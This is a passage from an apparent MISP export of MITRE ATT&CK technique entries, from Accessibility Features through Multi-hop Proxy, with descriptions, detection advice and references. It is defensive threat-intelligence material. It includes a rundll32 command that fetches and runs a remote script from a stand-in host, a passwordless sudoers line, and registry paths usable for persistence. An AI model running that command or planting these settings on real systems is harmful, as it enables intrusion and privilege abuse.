Detection: Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options</code>.

Platforms: Windows

Data Sources: Windows Registry, File monitoring, Process monitoring

Effective Permissions: SYSTEM

Permissions Required: Administrator

Contributors: Paul Speulstra, AECOM Global Security Operations Center

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Accessibility Features - T1015"*

Table 2031. Table References

Links
https://attack.mitre.org/wiki/Technique/T1015
https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html
https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom
http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/

Taint Shared Content - T1080

Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.

A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses Shortcut Modification of directory .LNK files that use Masquerading to look like the real directories, which are hidden through Hidden Files and Directories. The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)

Detection: Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.

Frequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.

Platforms: Windows

Data Sources: File monitoring, Process monitoring

Permissions Required: User

System Requirements: Access to shared folders and content with write permissions

Contributors: David Routin

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Taint Shared Content - T1080"*

Table 2032. Table References

Links

https://attack.mitre.org/wiki/Technique/T1080
https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html

Drive-by Compromise - T1189

A drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. This can happen in several ways, but there are a few main components:

Multiple ways of delivering exploit code to a browser exist, including: * A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, cross-site scripting. * Malicious ads are paid for and served through legitimate ad providers. * Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).

Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. (Citation: Shadowserver Strategic Web Compromise)

Typical drive-by compromise process: # A user visits a website that is used to host the adversary controlled content. # Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. #* The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes. # Upon finding a vulnerable version, exploit code is delivered to the browser. # If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place. #* In some cases a second visit to the website after the initial scan is required before exploit code is delivered.

Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.

Detection: Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.

Network intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.

Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of Process Injection for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.

Platforms: Linux, Windows, macOS

Data Sources: Packet capture, Network device logs, Process use of network, Web proxy, Network intrusion detection system, SSL/TLS inspection

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Drive-by Compromise - T1189"*

Table 2033. Table References

Links
https://attack.mitre.org/wiki/Technique/T1189
http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/

External Remote Services - T1133

Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as Windows Remote Management can also be used externally.

Adversaries may use remote services to access and persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to Valid Accounts to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of Redundant Access during an operation.

Detection: Follow best practices for detecting adversary use of Valid Accounts for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.

Platforms: Windows

Data Sources: Authentication logs

Permissions Required: User

Contributors: Daniel Oakley, Travis Smith, Tripwire

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="External Remote Services - T1133"*

Table 2034. Table References

Links
https://attack.mitre.org/wiki/Technique/T1133

https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/

Application Deployment Software - T1017

Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.

Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

Detection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process use of network, Process monitoring

System Requirements: Access to application deployment software (EPO, HPCA, Altiris, etc.)

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Application Deployment Software - T1017"*

Table 2035. Table References

Links
https://attack.mitre.org/wiki/Technique/T1017

Hooking - T1179

Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via: * '''Hooks procedures''', which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Engame Process Injection July 2017) * '''Import address table (IAT) hooking''', which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Engame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015) * '''Inline hooking''', which overwrites the first bytes in an API function to redirect code flow. (Citation: Engame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)

Similar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.

Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)

Hooking is commonly utilized by Rootkits to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)

Detection: Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)

Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.

Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)

Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

Platforms: Windows

Data Sources: API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process Monitoring, Windows event logs

Permissions Required: Administrator, SYSTEM

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Hooking - T1179"*

Table 2036. Table References

Links
https://attack.mitre.org/wiki/Technique/T1179
https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.adlice.com/userland-rootkits-part-1-iat-hooks/

https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/
https://www.exploit-db.com/docs/17802.pdf
https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf
https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html
https://github.com/prekageo/winhook
https://github.com/jay/gethooks
https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/
https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/
http://www.gmer.net/
https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx
https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis

Port Knocking - T1205

Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. To enable the port, the system expects a series of packets with certain characteristics before the port will be opened. This is often accomlished by the host based firewall, but could also be implemented by custom software.

This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

Detection: Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.

Platforms: Linux, macOS

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Port Knocking - T1205"*

Table 2037. Table References

Links
https://attack.mitre.org/wiki/Technique/T1205

Automated Collection - T1119

Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools.

This technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.

Detection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, macOS, Windows

Data Sources: File monitoring, Process command-line parameters, Data loss prevention

Permissions Required: User

System Requirements: Permissions to access directories and files that store information of interest.

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Automated Collection - T1119"*

Table 2038. Table References

Links
https://attack.mitre.org/wiki/Technique/T1119

Security Support Provider - T1101

Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. (Citation: Graeber 2014)

Detection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

Platforms: Windows

Data Sources: DLL monitoring, Windows Registry, Loaded DLLs

Permissions Required: Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Security Support Provider - T1101"*

Table 2039. Table References

Links
https://attack.mitre.org/wiki/Technique/T1101
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://technet.microsoft.com/en-us/library/dn408187.aspx

Sudo - T1169

The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware).

Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.

Detection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).

Platforms: Linux, macOS

Data Sources: File monitoring

Effective Permissions: root

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Sudo - T1169"*

Table 2040. Table References

Links
https://attack.mitre.org/wiki/Technique/T1169
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/

Office Application Startup - T1137

Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.

===Office Template Macros===

Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)

Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros)

Word Normal.dotm location:<code>C:\Users\(username)\AppData\Roaming\Microsoft\Templates\Normal.dotm</code>

Excel Personal.xlsb location:<code>C:\Users\(username)\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB</code>

An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.

===Office Test===

A Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)

<code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code>

===Add-ins===

Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)

Add-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins)

Detection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.

Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins)

Non-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.

Platforms: Windows

Data Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring

Permissions Required: User, Administrator

System Requirements: Office Test technique: Office 2007, 2010, 2013, 2015 and 2016 Add-ins: some require administrator permissions

Contributors: Ricardo Dias, Loic Jaquemet

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Office Application Startup - T1137"*

Table 2041. Table References

Links
https://attack.mitre.org/wiki/Technique/T1137
https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea
https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office
https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/
http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/
http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/
https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460
https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/

Rundll32 - T1085

The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.

Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Detection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.

Platforms: Windows

Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring

Defense Bypassed: Anti-virus, Application whitelisting

Permissions Required: User

Remote Support: No

Contributors: Ricardo Dias, Casey Smith

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Rundll32 - T1085"*

Table 2042. Table References

Links
https://attack.mitre.org/wiki/Technique/T1085
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/

Network Sniffing - T1040

Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.

User credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning, can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

Detection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.

Platforms: Linux, macOS, Windows

Data Sources: Network device logs, Host network interface, Netflow/Enclave netflow

Permissions Required: Administrator, SYSTEM

System Requirements: Network interface access and packet capture driver

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Network Sniffing - T1040"*

Table 2043. Table References

Links
https://attack.mitre.org/wiki/Technique/T1040

Port Monitors - T1013

A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\Windows\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>. The Registry key contains entries for the following: *Local Port *Standard TCP/IP Port *USB Monitor *WSD Port

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.

Detection: * Monitor process API calls to (Citation: AddMonitor). * Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. * New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. * Monitor Registry writes to <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>. * Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)

Platforms: Windows

Data Sources: File monitoring, API monitoring, DLL monitoring, Windows Registry, Process monitoring

Effective Permissions: SYSTEM

Permissions Required: Administrator, SYSTEM

Contributors: Stefan Kanthak, Travis Smith, Tripwire

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Port Monitors - T1013"*

Table 2044. Table References

Links
https://attack.mitre.org/wiki/Technique/T1013
http://msdn.microsoft.com/en-us/library/dd183341
https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf
https://technet.microsoft.com/en-us/sysinternals/bb963902

Browser Extensions - T1176

Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)

Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).

Detection: Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.

Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.

Platforms: Linux, macOS, Windows

Data Sources: Network protocol analysis, Packet capture, System calls, Process use of network, Process monitoring, Browser extensions

Permissions Required: User

Contributors: Justin Warner, ICEBRG

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Browser Extensions - T1176"*

Table 2045. Table References

Links
https://attack.mitre.org/wiki/Technique/T1176
https://en.wikipedia.org/wiki/Browser%20extension
https://developer.chrome.com/extensions
https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf
https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/
https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/
https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)
https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/
https://kjaer.io/extension-malware/
https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses

Hardware Additions - T1200

Computer accessories, computers or networking hardware may be introduced into a system as a vector to gain execution. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.

Detection: Asset management systems may help with the detection of computer systems or network devices that should not exist on a network.

Endpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.

Platforms: Linux, Windows, macOS

Data Sources: Asset Management, Data loss prevention

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Hardware Additions - T1200"*

Table 2046. Table References

Links
https://attack.mitre.org/wiki/Technique/T1200

https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html
http://www.bsidesto.ca/2015/slides/Weapons%20of%20a%20Penetration%20Tester.pptx
https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained
https://www.youtube.com/watch?v=fXthwl6ShOg
https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/

Software Packing - T1045

Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.

Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.

Detection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.

Platforms: Windows

Data Sources: Binary file metadata

Defense Bypassed: Anti-virus, Signature-based detection, Heuristic detection

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Software Packing - T1045"*

Table 2047. Table References

Links
https://attack.mitre.org/wiki/Technique/T1045
http://en.wikipedia.org/wiki/Executable%20compression

Application Window Discovery - T1010

Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.

In Mac, this can be done natively with a small AppleScript script.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: macOS, Windows

Data Sources: API monitoring, Process command-line parameters, Process monitoring

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Application Window Discovery - T1010"*

Table 2048. Table References

Links
https://attack.mitre.org/wiki/Technique/T1010

Kerberoasting - T1208

Service principle names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)

Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)

This same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)

Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts. (Citation: SANS Attacking Kerberos Nov 2014)

Detection: Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]). (Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)

Platforms: Windows

Data Sources: Windows event logs

Permissions Required: User

System Requirements: Valid domain account or the ability to sniff traffic within a domain.

Contributors: Praetorian

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Kerberoasting - T1208"*

Table 2049. Table References

Links
https://attack.mitre.org/wiki/Technique/T1208
https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
https://msdn.microsoft.com/library/ms677949.aspx
https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx
https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
https://github.com/EmpireProject/Empire/blob/master/data/module%20source/credentials/Invoke-Kerberoast.ps1
https://adsecurity.org/?p=2293

Multi-hop Proxy - T1188

To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.

Detection: When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as Tor) or known adversary infrastructure that uses this technique.

Platforms: Linux, macOS, Windows

